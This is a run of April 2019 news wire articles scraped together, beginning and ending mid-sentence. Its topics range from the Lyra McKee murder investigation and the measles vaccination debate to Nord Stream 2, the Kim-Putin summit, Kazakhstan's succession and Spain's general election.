Creggan area may find it difficult to speak to police. Expand Close Murdered journalist Lyra McKee Photopress Belfast / Facebook Twitter Email Whatsapp Murdered journalist Lyra McKee "I want to provide a personal reassurance that we are able to deal with these concerns sensitively," he said. "At Lyras funeral on Wednesday we heard many messages about the potential for a better future but as I have said previously, such sentiment will all be in vain if collectively we cannot tackle the malign influence that some individuals continue to exert over our communities." He praised the charity Crimestoppers for offering a 10k reward in exchange for information on Lyra's murder. "To date, we have received widespread public support including more than 140 people providing images, footage and other details via our dedicated Major Incident Public Portal," Detective Superintendent Murphy said. "However, community information and intelligence is not evidence. Such information simply gets me through the door but it doesnt get me to a courtroom. I need people to contact my team, to talk to us about what they know. I would urge anyone who has any information, or who witnessed the murder, to contact the police on 101. Or if someone would prefer to provide information without giving their details, they can contact the independent charity Crimestoppers and speak to them anonymously on 0800 555 111.' Finance Minister Paschal Donohoe said he will listen all the available advice (PA) The Government will consider all of the advice it has received before making a final decision about the National Broadband Plan, Finance Minister Paschal Donohoe has said. It comes as speculation mounts that the Government is set to approve the multi-million euro plan in the next fortnight. Mr Donohoe said the Government had not yet decided whether to proceed with the project. It has gone through a very, very extensive debate and process within the government and with the Department of Communication, he said. No recommendation has been taken to government yet in relation to it, but that will be happening, I believe, soon and Ill be taking account of all the advice and views on that matter when I give my views on it. Only one bidder remains in the process for the contract to deliver high-speed broadband to more than 540,000 homes across the country. Asked whether he had been advised not to go ahead with the plan, Mr Donohoe replied: I have got a lot of different views in relation to this project but I think the imperative thing is that we allow the work that is under way in relation to the broadband plan to come to conclusion. That will he happening and then the Cabinet will be briefed on all of the different issues in relation to it and all of the different opportunities in relation to it. Mr Donohoe made the remarks on Friday at the official opening of the Summerhill primary care centre in Dublins north inner city. Expand Close Finance Minister Paschal Donohoe speaking, with Health Minister Simon Harris (right) at the opening of the Summerhill primary care centre in Dublin (Michelle Devane/PA). PA Wire/PA Images / Facebook Twitter Email Whatsapp Finance Minister Paschal Donohoe speaking, with Health Minister Simon Harris (right) at the opening of the Summerhill primary care centre in Dublin (Michelle Devane/PA). He added that the plan had gone through a very extensive tendering process. Were now aware of the many different costs and complexities that are involved in relation to delivering a project of this scale and because of this, Cabinet will be well informed and well placed to make a good decision on what is a really important investment in our countrys future, he said. Earlier this month Taoiseach Leo Varadkar confirmed the roll-out of the National Broadband Plan would cost in the region of three billion euro. It is almost four years since the tender process began. The cost of the project was originally estimated at between 355 million and 512 million euro, but Mr Varadkar has said the cost may end up being many multiples of what was budgeted. Health Secretary Matt Hancock has said he "wouldn't rule out anything" when asked whether unvaccinated children should be banned from schools Health Secretary Matt Hancock has said he "wouldn't rule out anything" when asked whether unvaccinated children should be banned from schools. Speaking on Talk Radio, Mr Hancock said the UK was "not there yet" when it came to issuing a ban, as has happened in the United States, France and Italy. A ban on unvaccinated children in public places in Rockland County, New York, which has experienced a measles outbreak, was put on hold earlier this month after parents challenged the decision. But last week a Brooklyn judge upheld an emergency order which said people living in certain parts of Williamsburg, Brooklyn, must get vaccinated amid a measles outbreak there. Mr Hancock was speaking on Julia Hartley-Brewer's breakfast show after new figures from Unicef showed that over half a million children in the UK were unvaccinated against measles between 2010 and 2017. He said he was very worried about the issue, adding: "It's a responsibility on everybody to get vaccinated." Mr Hancock was asked by Ms Hartley-Brewer if he'd consider meeting Education Secretary Damian Hinds to discuss "following in the footsteps" of France and the US. He replied: "I wouldn't rule out anything but I don't think we're there yet. "In America they tried to do this and the courts stopped them so it can be complicated, but really it's people's responsibility as a parent to do the right thing - the right thing for their own children as well as, of course, the right of the community that everybody lives in." Earlier, Mr Hancock said the rise in people not vaccinating had to be tackled and that he was "particularly worried" about the spread of anti-vaccination messages online. He told BBC Radio 4's Today programme that he was meeting social media companies on Monday to "require that they do more to take down lies that are promoted on social media about the impact of vaccinations". Asked whether children who have not been vaccinated for measles should be excluded from schools, Prime Minister Theresa May's official spokesman said: "I haven't seen anyone suggesting that." Unicef's analysis shows that increasing numbers of youngsters around the world are being left unprotected against measles, which can cause disability and death. Its report showed that an estimated 169 million children around the world missed out on the first dose of the measles vaccine between 2010 and 2017 - an average of 21.1 million a year. Simon Stevens, chief executive of NHS England, said: "Getting yourself and your children vaccinated against killer diseases is essential to staying healthy, and vaccine rejection is a serious and growing public health timebomb. "With measles cases almost quadrupling in England in just one year, it is grossly irresponsible for anybody to spread scare stories about vaccines, and social media firms should have a zero-tolerance approach towards this dangerous content." A list of 10 high-income countries, published by Unicef, shows the US has the highest number of children missing out on their first dose of the vaccine. Between 2010 and 2017, some 2,593,000 youngsters in the US did not have their first dose of the vaccine. The second most affected country was France, with 608,000 unvaccinated children over the same time period, followed by the UK, with 527,000. Children need two doses of the vaccine for protection, with the World Health Organisation (WHO) recommending 95% coverage to achieve herd immunity, which offers protection against the disease spreading in the community. In the UK in 2017, there were 259 measles cases in England, rising to 966 in 2018. In 2016 and 2017, uptake of the first dose of the MMR vaccine in five-year-olds in the UK exceeded 95% for the first time. However, two doses of MMR vaccine are required to ensure full protection from measles. Uptake of the second dose of MMR in five-year-olds is 88% - well below the 95% WHO target. Estimate of children in world who missed out on first dose of measles vaccine between 2010 and 2017 In February 2019, the EU amended the Gas Directive to extend its scope to apply to pipelines from third countries to the EU. The proposal has primarily targeted Nord Stream 2, a pipeline which would bring Russian gas to Germany bypassing Ukraine and other former Soviet states. The pipeline has been under construction across the Baltic Sea since August 2018. Energy Voice reports in its article Is Nord Stream 2 at risk? that the amended Directive is expected to come into force in July 2019. Under this amended Directive, gas pipelines entering the EU from non-EU countries will now be covered by EU law. The new amendment would require Gazprom, Russias main gas exporter, to provide third party access, non-discriminatory practices and transparency. Given the political will both in Germany and in Russia to complete this pipeline, the amended Directive is unlikely to halt construction of Nord Stream 2 as some EU member states hoped. However, the amended Directive is capable of delaying or even suspending its operation. The most likely scenario would involve German authorities confirming Nord Stream 2 compliance with the amended Directive. The most likely implementation mechanism would entail transfer of ownership and/or operating rights of the entire pipeline or its German section to an existing or a new Transmission System Operator (TSO) with subsequent certification of compliance by the German authorities and the EU. The alternative option would include requesting exemptions from some of the Directives requirements. This option is unlikely to be pursued as it would cause regulatory uncertainty and operational delays due to significant discretion that the EC would be able to exercise over the conditions that could be imposed as part of granting these exemptions. With the election of the new Ukrainian President on 21 April 2019, the likelihood of improved relations between Russia and Ukraine has increased. However, it is not yet clear at all what policies the new Ukrainian President will pursue toward Russia and how these policies will be received both by the Ukrainian electorate and by the Russian government. Current Russian gas transit contract with Ukraine expires at the end of the year. If the relations between Russia and Ukraine improve toward the end of the year, this could increase chances of this contract being renewed on mutually beneficial terms. Exporting Russian gas through Ukraine via an existing land pipeline would be a more economically viable way to export Russian gas to Europe from the purely economic point of view than exporting gas through underwater expensive pipeline (Nord Stream 2). However, it is unlikely that the prospects of a renewed transit contract with Ukraine will cause Gazprom or the Russia government to delay completion of the Nord Stream 2 pipeline. It appears that Russia has taken a long-term strategic and political view to complete construction of pipelines directly to its end customers in Europe bypassing former Soviet states to both reduce its dependency on changing and unpredictable politics of these states and to increase its own leverage over these states by having a better control of gas supply for these countries and by having multiple options of its own gas export to the EU. In another development which threatens to delay the completion of Nord Stream 2, on 15 April 2019, Nord Stream AG, a subsidiary of Russias Gazprom and operator of Nord Stream 2, submitted a third application to the Danish authorities for a route through Danish waters. This third application was submitted more than two years after submitting the first application. While Gazproms subsidiary complied with the requests from the Danish authorities, it also accused Denmark of trying to deliberately delay the project by asking for the third route option in two years. It is quite difficult to predict the timeline and the outcome of this application which could also delay the completion of Nord Stream 2 although, once again, it is unlikely to prevent it. Jeremy Corbyn has said he will not attend the state banquet for Donald Trump when the US president makes his long-awaited state visit to the UK in June. The Labour leader said Prime Minister Theresa May was wrong to kowtow to a president who tore up international treaties and used racist and misogynist rhetoric. In a statement, he said that he would however be prepared to meet Mr Trump during his stay to discuss all matters of interest. It is disappointing that the Prime Minister has again opted to kowtow to this US administrationJeremy Corbyn Theresa May should not be rolling out the red carpet for a state visit to honour a president who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric, Mr Corbyn said. Maintaining an important relationship with the United States does not require the pomp and ceremony of a state visit. It is disappointing that the Prime Minister has again opted to kowtow to this US administration. I would welcome a meeting with President Trump to discuss all matters of interest. Liberal Democrat leader Sir Vince Cable has already turned down an invitation to the banquet, saying he believed the invitation to Mr Trump had been issued inappropriately. The President of The United States of America, President Donald J. Trump, accompanied by Mrs Melania Trump, has accepted an invitation from Her Majesty The Queen to pay a State Visit to the UK. pic.twitter.com/e3ANW9bUKa The Royal Family (@RoyalFamily) April 23, 2019 The white tie dinner banquet at Buckingham Palace, hosted by the Queen, is always one of the key events of any state visit. It is traditionally attended by senior politicians including the leader of the opposition and other dignitaries. Mr Corbyn attended a state banquet in honour of Chinese President Xi Jinping shortly after becoming Labour leader in 2015. However, during the last state visit made by King Willem-Alexander of the Netherlands in October he was represented by shadow foreign secretary Emily Thornberry. On that occasion, he was believed to have been attending a family event. The Labour leader also missed the banquets staged to mark the July 2017 visit of King Felipe VI of Spain, and the official visit of the Colombian President Juan Manuel Santos in November 2016. Mr Trumps visit is highly controversial and is expected to attract mass demonstrations. The Prime Minister was widely was widely criticised for inviting the US leader to make a state visit just days into his presidency in 2017. Mr Trump will hold bilateral talks with Mrs May at Downing Street during the visit from June 3-5, and will take part in commemorations in Portsmouth marking the 75th anniversary of the D-Day landings. Royal fans were on edge after receiving notifications of new posts on Harry and Meghans Instagram account (Chris Jackson/PA) Royal fans were left sweating in anticipation after they thought a Duke and Duchess of Sussex Instagram post was news about the impending royal birth. Meghan and Harrys official account was updated with pictures of the couple to mark the 70th anniversary of the Commonwealth. But some fans, who have alerts notifying them about new posts on the @sussexroyal account, were feeling decidedly jittery. One message said: I think its time I turn my notification off, I cant take the mini heart attack any more. Another said: You know youre making us jump every time you post! The duchess is due to give birth any day now but husband Harry felt able to attend an Anzac Day service in London with the Duchess of Cambridge on Thursday. American former actress Meghan is likely to be at home in the couples newly refurbished Frogmore Cottage in the sanctuary of the Windsor Estate. The duchesss mother, Doria Ragland, is said to have flown from Los Angeles to stay with the couple as they await the birth of the baby, which will be Dorias first grandchild and an eighth great-grandchild for the Queen. Ladbrokes are offering odds of 7-2 that the royal baby will be born on Saturday or Sunday. Alex Apati, of Ladbrokes, said: All eyes are on when and where Meghan Markle will give birth and the latest odds suggest it could be as early as this weekend. The Instagram post featured some pictures from the duke and duchesss Commonwealth tour of Australia, New Zealand and the South Pacific last year. Among them was the moment the couple met five-year-old Luke Vincent, who tugged on Harrys beard before giving him a hug in the Australian city of Dubbo. William visits the Al Noor mosque, one of the mosques involved in the mass shooting, in Christchurch last month David Alexander/SNPA via AP) Survivors and families of the victims of the Christchurch mosque attacks say the Duke of Cambridges visit has brought them great comfort in their time of suffering. About 160 members of the Muslim community turned out to meet William at the Al Noor mosque in the city, where just weeks earlier 42 people were shot dead by a terrorist. Among those to meet the duke were people who had lost loved ones, some who had helped save lives and others who were injured in the attack. Madina Nabi, whose father Haji Dauod Nabi was killed inside the mosque, said the dukes visit had made us feel important. The fact that he came all the way here to just support us, its a very kind thing to do, she said. We really appreciate what hes done. The 26-year-old told of her devastation at learning her father had died, having faced an agonising wait to discover whether he was among the victims. It was the most difficult moment of my life, she said. Expand Close William acknowledges the crowd after visiting the Al Noor mosque (David Alexander/SNPA via AP) AP/PA Images / Facebook Twitter Email Whatsapp William acknowledges the crowd after visiting the Al Noor mosque (David Alexander/SNPA via AP) But she added that she was very proud of her father after being told he had stayed inside the mosque to help others. People tell me he saved our lives, she said. He was like that as a person. As soon as I heard there was a shooting, I knew he would not have run away. Ms Nabi had the opportunity to meet William at the mosque, and said he had known about her father straight away. He was really lovely to us. He had seen my father in the news so as soon as he saw us he knew which family we were, she said. William leaves the Al Noor mosque after a moving speech to the gathered Muslim community pic.twitter.com/F2SmRO5I9b Ellie Cullen (@EllieCullenPA) April 25, 2019 Mohammad Siddiqui, 59, who was shot in the arm as he tried to flee from the gunman, was also among those gathered at the mosque to greet the duke. Recalling last months attack, he said: The moment I ran outside he was there. I called my wife and she asked how I was. As soon as I said I was fine I was shot. Daughter Alisha Siddique told how she had received a phone call from her mother telling her her father had been shot. It was very frightening. I drove here (to the mosque) as quickly as I could, she said. Someone offered to take me to the hospital and I just stayed there. When I realised it was Friday, and there would be so many people at the mosque, thats when it really hit me. "Extremism in all its forms must be defeated. The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear: the global ideology of hate will fail to divide us." The Duke of Cambridge pic.twitter.com/hwG3QU4MFa The Duke and Duchess of Cambridge (@KensingtonRoyal) April 26, 2019 Praising the dukes wonderful speech, she added: It was nice to know we have been supported but also that we have shown what it means to be a community, with everyone coming together. Often you just think about the people who have died, but the ones left behind are the ones who are suffering. The rules mean pre-settled status EU nationals will need to prove they are habitually resident (Jonathan Brady/PA) New rules will create a second class of EU citizens, an MP has warned. Some EU nationals will have to abide by different and more complicated rules than others to access universal credit, child benefit or tax credits from May 7. EU citizens who have not been in the UK for the five years necessary to obtain settled status, labelled pre-settled status, will need to meet different criteria from those with settled status. SNP immigration spokesman Stuart McDonald MP said the outrageous change had been snuck in over the Easter break with zero scrutiny and consultation. He said: This disgraceful move by the UK Government snuck in over the recess period and without debate risks creating a cohort of second-class EU citizens living in the UK and must be halted. Creating a two-tier system for EU nationals applying for social security in the UK will disadvantage pre-settled EU nationals with families potentially leaving them worse off by thousands of pounds and having to gather complicated evidence to prove their right to reside. Once again, the Tories will expect the voluntary sector to pick up the pieces while they wash their hands of responsibility and reneging on its promise to protect the rights of EU nationals in the UK. This disgraceful move by the UK Government snuck in over the recess period and without debate risks creating a cohort of second-class EU citizens living in the UK and must be haltedStuart McDonald Two statutory instruments about Brexit and social security were introduced by the Government when Parliament was in recess, so MPs were unable to raise objections. The Social Security (Income-related Benefits) (Updating and Amendment) (EU Exit) Regulations 2019 legislation was laid using the negative procedure, which requires no debate. Key organisations, including the Social Security Advisory Committee (SSAC) and the Local Authority Associations (LAA), were not consulted due to the short timescale. The legislation states: The Secretary of State has not referred proposals in respect of these regulations to the Social Security Advisory Committee and has not undertaken consultation with organisations appearing to her to be representative of the authorities concerned, as it appears to her that by reason of the urgency of the matter it is inexpedient to do so. The rules mean pre-settled status EU nationals will need to prove they are habitually resident by providing detailed paperwork about work, family and residence. A police officer who created an elaborate fiction to make a woman think she was being monitored and was at risk of harm has been jailed for more than two and a half years. Scott Gorries actions, which preyed on the womans fears about her estranged husband, caused his victim significant fear and alarm and led her to be signed off work with stress. The 43-year-old previously admitted a charge of stalking, two charges of attempting to pervert the course of justice and one of breaching the terms of his bail, prosecutors said. He was jailed for two years and eight months and handed a three-year non-harassment order at Perth Sheriff Court on Thursday, the Crown Office confirmed after the hearing. According to prosecutors, Gorrie was called to the womans home over a domestic complaint in May last year. Soon after, he made contact with her online and she told him of her fears that her estranged husband was monitoring her movements in some way. From mid-June, Gorrie who made out that he was a single father of two began creating a fiction based on the fears she held. According to the Crown Office, Gorrie started to send messages which led her to believe that they were both being followed. The content and tone of the messages reinforced her belief that her ex-husband was monitoring her and had it in for her. Gorrie also made the woman believe that he was in personal danger and his messages became increasingly alarming and frightening. His fiction began to unravel when the victim contacted police about her ex-husbands conduct, prosecutors said, and he took steps to try to cover up what he had done. Les Brown, head of the criminal allegations against the police division, said: Stalking can have a devastating and lasting impact on the lives of victims. Scott Gorrie knowingly placed a vulnerable woman in a state of fear and alarm through his criminal behaviour. This was a full and thorough investigation by prosecutors and Police Scotlands anti-corruption unit (ACU), and I am grateful to all involved for their assistance in securing todays outcome. Iran has backed away from reports that jailed charity worker Nazanin Zaghari-Ratcliffe could be released as part of a prisoner swap. Iranian foreign minister Javad Zarif had appeared to suggest the British-Iranian mother could be freed in exchange for an Iranian woman held in Australia on a US extradition request. However, in a subsequent interview, he told Reuters: "The offer that I made was people who have been in prison either in the United States or elsewhere in the world on American request. But the Iranian-British woman is a separate case." Downing Street confirmed that the Government had not received any approach from Tehran about a possible prisoner exchange. "The treatment of all British-Iranians detained in Iran, including Nazanin Zaghari-Ratcliffe (above), is a priority for the Government," the Prime Minister's spokesman said. "We remain concerned about all of our consular cases and raise them at every level and every opportunity." Earlier, speaking to the Asia Society in New York on Wednesday, Mr Zarif appeared to link the case of Mrs Zaghari-Ratcliffe -who is serving a five-year prison sentence for spying, a charge she vehemently denies - with that of the woman held in Australia. "Now we hear about Nazanin Zaghari and her child, and I feel sorry for them and I have done my best to help, but nobody talks about this lady in Australia who gave birth to a child in prison, whose child is growing up outside prison with mother in prison," he said. "So, what can I do as a foreign minister? And I put this offer on the table publicly now. Exchange them." Mrs Zaghari-Ratcliffe was arrested with her infant daughter Gabriella on April 3, 2016, at Tehran's Imam Khomeini Airport as she prepared to board a plane back to the UK after visiting relatives. The 40-year-old is serving her sentence in Tehran's notorious Evin Prison. The trial by a Revolutionary Court in Tehran was widely condemned as unfair. Foreign Secretary Jeremy Hunt granted Mrs Zaghari-Ratcliffe diplomatic protection last month. But Tehran refuses to acknowledge her dual nationality and said the UK's actions were illegal. The public will be prevented from watching the UK's national commemorations of the 75th D-Day anniversary because of a double-layered solid fence being erected to protect US President Donald Trump. A political row erupted after it was announced Mr Trump would attend the commemoration in Portsmouth, Hampshire, as part of his state visit to the UK. Gerald Vernon-Jackson, the Liberal Democrat leader of Portsmouth City Council, said the President had not been invited and should not attend as he would take attention away from the veterans. He has now revealed that the event will have to be surrounded by two layers of security fencing, preventing uninvited members of the public from being able to watch the ceremony on Southsea Common, also being attended by the Queen. He said the only way for people to see the proceedings would be on large screens nearby or at home on television. Mr Vernon-Jackson said the security measures were being ramped up from those originally planned when the monarch was the only world leader expected to attend. He added that heads of state of the 14 nations involved in D-Day, as well as the German Chancellor Angela Merkel, had subsequently all been invited. He explained: "The whole of Southsea Common will be fenced in which is a large area, part of it will be set aside for protesters because we have to be realistic that protesters will be there. "The ceremony itself will be behind solid steel barrier walls so people won't be able to see into it and it will now be invite-only. It is a significant increase of security, it's a very different level." Meanwhile, Foreign Secretary Jeremy Hunt has said that Mr Trump should be allowed to address Parliament during his visit to the UK. Asked at a Westminster lunch whether he would support an address to Parliament, Mr Hunt said: "Yes I would. I think it is very important when you have a state visit by our closest and most important ally that we think about the office as much as the person. "I hope we make the best possible welcome for President Trump. He is a controversial politician but in the end his visit is about more than Trump's policies, it is about the alliance between the United States and United Kingdom that goes back many, many years. The appropriate thing to do is to show him the best possible welcome." The speakers of both Houses of Parliament have said that no request has yet been received for Mr Trump to speak in Westminster Hall. Downing Street says it has no control over the decision, which is a matter for Parliament. LGBTQ+ people around the world, along with politicians and advocacy groups, have been raising awareness and support for the 11th annual Lesbian Day of Visibility. Thousands of people have been posting using the hashtag #LesbianVisibilityDay, with politicians including Mayor of London Sadiq Khan celebrating lesbian culture and issues. Happy #LesbianDayofVisibility to #Londons diverse community of lesbians thanks for your important contribution to our city. https://t.co/cpEiRi3spu Mayor of London, Sadiq Khan (@MayorofLondon) April 26, 2019 Lesbian Visibility Day began in the US in 2008, however thanks to the internet, the day has quickly become an internationally celebrated awareness event. Xeenarh Mohammed, an author from Nigeria, took to Twitter to speak about diversity on the awareness day. She explained: Were not all white, cis, European, blonde, young, androgynous, or any other box you put us in were all loved and valid as heck. She told Press Association: I decided to share my picture because conversations about queerness usually omits lesbians. On the one day lesbians are being proudly visible, I wanted to add my face as an African lesbian to the tapestry of what lesbians look like. Were diverse, and that diversity is gorgeous. Happy #LesbianVisibilityDay to all lesbian women living and loving in repressive communities. You are seen. You are valid. You are magic. fatima (@JustDerby) April 26, 2019 Politicians and public figures also took to social media to raise awareness on the day. Scottish National Party MP Hannah Bardell joined in with the hashtag, saying: Im ever grateful for the support and love of my girlfriend. Im also very conscious that the rights we enjoy in Scotland and across the UK are far from reach for lesbians in many other parts of the world. On #LesbianVisibilityDay Im ever grateful for the support and love of my girlfriend. Im also very conscious that the rights we enjoy in Scotland and across the UK, are far from reach for Lesbians in many other parts of the world. We must keep fighting for them. pic.twitter.com/Jy2o1lXhq7 Hannah Bardell SNP MP (@HannahB4LiviMP) April 26, 2019 Ruth Hunt, CEO of LGBTQ+ charity Stonewall, posted a video in celebration of the visibility event. She said: I love Lesbian Day of Visibility because its one of the days of the year where we can talk very openly about what it means to be a lesbian. We often clump lesbian, gay, bi, trans issues all together its nice to have a day just thinking about lesbians. For her final #LesbianDayOfVisibilty at Stonewall, our wonderful CEO, @ruth_hunt, shares some lovely reflections on her time here and loving her lesbian identity #LDOV pic.twitter.com/l8sUN02xLY Stonewall (@stonewalluk) April 26, 2019 Organisations and people within the community also explained that the visibility day should be used to reflect on LGBTQ+ history, and the contributions that lesbians have made to society and culture. Happy #LesbianVisibilityDay! Lesbians have always played an important role in the fight for LGBTQ+ equality, throughout history and in our movement now. Today were thinking of the women on whose shoulders we stand, and thanking them for all theyve done for our community London LGBTQ+ Community Centre (@LdnLGBTQCentre) April 26, 2019 Happy #LesbianDayOfVisibility to all my female homosexual followers. You have been at the front in fighting for gay & bi men, when blood donors were needed in early days of AIDS/HIV, & the rest. pic.twitter.com/uxfF8yRHgv Lynton North (@ljwnorth) April 25, 2019 Finally, what would any visibility day be without an invisibility joke? Labour Students national womens officer, Lily Madigan, gave a message celebrating the day, along with a joke that tomorrow, people wouldnt be able to see her at all. Research by the Office for National Statistics showed that in 2016, just over one million (2%) people in the UK aged 16 and over identified themselves as lesbian, gay, or bisexual. North Korean leader Kim Jong Un has criticised the US for taking a unilateral attitude in bad faith at his February meeting with Donald Trump in Hanoi. Mr Kim blamed that as the cause of the diplomatic standstill, North Koreas state-run Korean Central News Agency (KCNA) said. The North Korean leader wrapped up a brief and generally successful visit to the Russian Far East for his first summit with President Vladimir Putin on Friday. He told Mr Putin the situation on the Korean Peninsula has reached a critical point and whether it returns to tensions will entirely depend on the US future attitude. Expand Close Mr Kim shakes hadns with Mr Putin (Korean Central News Agency/Korea News Service via AP) AP/PA Images / Facebook Twitter Email Whatsapp Mr Kim shakes hadns with Mr Putin (Korean Central News Agency/Korea News Service via AP) KCNA said Mr Putin credited Mr Kims diplomatic initiatives for stabilising the situation surrounding the peninsula and accepted Mr Kims invitation to visit North Korea at a convenient time. No specific measures coming out of the summit have been reported by either side. Mr Kim paid his respects at a ceremony honouring the war dead to round off his visit on Friday. Expand Close Mr Kim at the wreath laying ceremony in Vladivostok (Alexander Khitrov/AP) AP/PA Images / Facebook Twitter Email Whatsapp Mr Kim at the wreath laying ceremony in Vladivostok (Alexander Khitrov/AP) He arrived about two hours later than expected at a park near the headquarters of the Russian navys Pacific Fleet for the wreath-laying ceremony. Wearing a black suit and a fedora, he followed two goose-stepping Russian soldiers carrying a plate of red flowers with his name spelled out in Korean in gold colours on a red ribbon. Mr Kim then laid flowers, took off his hat and bowed as a Russian military band played music, including North Koreas national anthem. Mr Kim left for Pyongyang on Friday afternoon by his private train about four hours earlier than planned after his delegation requested to cut his visit short, Russian news agencies reported. Following their talks on Thursday, Mr Putin indicated that he might be willing to play a bigger role in breaking the stalemate over Washingtons push for denuclearisation and Mr Kims demands for sanctions relief. Expand Close The world leaders share a toast (Korean Central News Agency/Korea News Service via AP) AP/PA Images / Facebook Twitter Email Whatsapp The world leaders share a toast (Korean Central News Agency/Korea News Service via AP) He said he would be willing to share details with the United States about his summit with Mr Kim and suggested that Pyongyang is willing to give up nuclear weapons, but only if he gets ironclad security guarantees supported by a multinational agreement. After meeting Mr Kim, Mr Putin later headed for a two-day trip to Beijing, where he said he will inform the Chinese leadership about the summit. The leaders comments suggest there has been no significant shift in Mr Kims position. North Korea has all along contended that it needs its nuclear arsenal to defend itself against what it sees as US hostility and wants concrete reassurances of its safety. Expand Close Mr Putin in talks with Chinese President Xi Jinping (Kenzaburo Fukuhara/Pool Photo via AP) AP/PA Images / Facebook Twitter Email Whatsapp Mr Putin in talks with Chinese President Xi Jinping (Kenzaburo Fukuhara/Pool Photo via AP) This includes the removal of the American nuclear threat as an integral part of the denuclearisation of the entire Korean Peninsula. Along with a statement of political support, Mr Kim was also looking for some kind of economic support and possibly even a workaround to sanctions that will force more than 10,000 North Korean labourers in Russia to leave by the end of the year. The labourers are a major source of income for Pyongyang. Mr Putin said they discussed the issue and would find a solution taking into account humanitarian factors, though he did not say what that would be. Kazakhstans ruling Nur Otan party unanimously nominated on Tuesday (23 April) Kassym-Jomart Tokayev as its candidate for the 9 June presidential election. The first President of the country Nursultan Nazarbayev said he had planned this move for years. Euroactiv reports in its article Kazakhstans transition takes place according to Nazarbayevs plan that Tokayev took over as head of state since Nazarbayev surprisingly resigned on 19 March. A Speaker of the Senate at the time, Tokayev will serve as interim president before elections are held, the retiring president announced. On 9 April Tokayev set 9 June as the date of the early presidential election and said the vote was absolutely needed to ensure continuity, predictability and stability. Tokayevs nomination on Tuesday was supported by 600 delegates at the Nur Otan (People Democratic) congress and was announced by Nazarbayev himself. Nazarbayev described Tokayev as a close ally and outstanding politician and praised his vast experience. As a party chair, I put forward Kassym-Jomart Tokayev. Having known him for many years, working together, I believe he is the most well-deserved candidate for this highest position in the country, said Nazarbayev. I am sure Kassym-Jomart Tokayev is such a candidate that will follow the politics of friendship, equal rights of Kazakh citizens. I call on all our people to support this candidate I firmly believe in our victory, because our course is right and people trust us, said Nazarbayev. One-horse race The nomination appears to indicate that the election is likely to be a one-horse race, but also that continuity would be preserved and that Kazakhstan would remain predictable and consistent in its foreign policy. Nazarbayev said he had been planning this move for several years. I resigned on 19 March. But a new generation will come to lead the country. This is how it works in life and I believe they will work for the sake of the country and our generation should help them, said Nazarbayev, as quoted by the Astana Times. If I did something over this time, I am a happy person, happy politician. I made a conscious decision. Such decisions are not taken within one day or one month. I was preparing for such a decision for a few years and, honestly, more than three years. I looked everywhere, looked at allies and came to this conclusion. And it was right, he said. Tokayev thanked Nazarbayev for the support and nomination. With all my heart, I feel the burden put on me by a great person, founder of our country. Therefore, I pledge to live up to such big trust to the best of my ability, said Tokayev. Born in 1953, Tokayev is a career diplomat and a polyglot: He is fluent in Kazakh, Russian, English and Chinese and has knowledge of French. He has served, among other positions, as director general of the United Nations Office in Geneva, and as a personal representative of the UN Secretary-General to the Conference on Disarmament. Nazarbayev, 78, retains sweeping powers in the country of 18 million as the official national leader, chair of its security council and head of Nur Otan. The capital Astana, of which he was largely the architect, was renamed Nur-Sultan city on 23 March, and so were the main boulevards in the countrys cities. It was also decided that a monument in his honour would be erected in the capital. The Kazakh transition is likely to be studied as a rare example in the post-Soviet space where leaders often spend many years in power until they pass away, creating risks for the stability of the country. Foreign Policy Magazine wrote that even Russias Putin could be inspired by Nazarbayevs well-planned retirement. Candidates on both the right and left are urging Spains voters to choose wisely and keep the far-right at bay in Sundays general election. What those undecided voters do in this tight race will shape the fortunes of the two political blocs that loosely took shape during campaigning that ended on Friday. With no one party expected to win over 50% of Sundays vote, the question becomes which of Spains top five parties will join together after the vote to create a governing alliance. The incumbent Socialist candidate, prime minister Pedro Sanchez, said on Friday he is open to a coalition with the anti-austerity United We Can party, hinting for the first time at a possible centre-left governing deal. Expand Close Popular Party candidate Pablo Casado (Bernat Armangue/AP) AP/PA Images / Facebook Twitter Email Whatsapp Popular Party candidate Pablo Casado (Bernat Armangue/AP) On the political right, which the conservative Popular Party used to dominate but which has splintered into three main groups, the upstart far-right Vox party is making inroads. Citizens leader Albert Rivera, meanwhile, insists that his centre-right party will only join a governing coalition with the conservatives. The Popular Partys new leader, Pablo Casado, is committed to unseating the leftist Mr Sanchez from power but is also battling to stop the far-right from draining votes away from his party, as pollsters are predicting. The only alternative to Sanchez is the Popular Party, because we are the only ones that can reach agreements and avoid a deadlock, Mr Casado told esRadio, warning that Spains economy would suffer under a centre-left alliance. Mr Casado opened the door to some kind of post-election understanding with the anti-migrant nationalists of Vox. Expand Close Santiago Abascal, leader of Spanish far right party Vox (Alvaro Barrientos/AP) AP/PA Images / Facebook Twitter Email Whatsapp Santiago Abascal, leader of Spanish far right party Vox (Alvaro Barrientos/AP) He said the three parties on the political right could potentially pool the votes they win, though he did not elaborate. All candidates were holding closing rallies in Madrid, with Mr Sanchez and Mr Rivera also moving late in the evening to Valencia, where a regional election is also being held on Sunday. The only certainty as they readied for those final campaign rallies is that a far-right populist party is poised to sit in Spains national parliament for the first time since the 1980s, and that an even more fractured political landscape is likely to emerge from Sundays election. Astrid Barrio, a politics professor at the University of Valencia, said the real fight is taking place between the three right-wing parties. Vox has surged in support, mainly due to a rise in Spanish nationalism that is the direct result of separatist demands in the northeastern Catalonia region. The idea of curbing the rise of the far-right has had a moderating effectAstrid Barrio The left has not responded to the rights radicalisation and separatist parties have not even dared to call for an independence referendum as a condition to eventually back Sanchez, Ms Barrio said, referring to the political crisis in Catalonia that has affected all of Spain. The idea of curbing the rise of the far-right has had a moderating effect, she said. Spanish law bans media and parties from conducting polls during the final days of campaigning. But the latest surveys available, published on Monday, showed that a third of Spains nearly 37 million voters still have not decided who to vote for. Mr Sanchez urged Spaniards to cast a useful vote, warning that the rise of Vox should not be underestimated. We are facing a real risk for the right-wing and the extreme right to come together, the prime minister said, citing how the Socialist party was unseated late last year by a right-wing pact after 36 years in power in Andalusia, Spains most populous region. Expand Close Podemos party leader Pablo Iglesias delivers a speech in Barcelona (Emilio Morenatti/AP) AP/PA Images / Facebook Twitter Email Whatsapp Podemos party leader Pablo Iglesias delivers a speech in Barcelona (Emilio Morenatti/AP) A close election result could bring a spell of political hard bargaining, and Mr Sanchez said he didnt want any government he leads to depend on the votes of small parties demanding regional independence, such as those in Catalonia, because they are untrustworthy. Spain deserves four years of stability, he said, after what will be the countrys third parliamentary election in less than four years. Mr Sanchez told the El Pais newspaper that it isnt a problem if the left-wing United We Can party led by Pablo Iglesias becomes part of his Cabinet if he wins the tight race and forms the next coalition 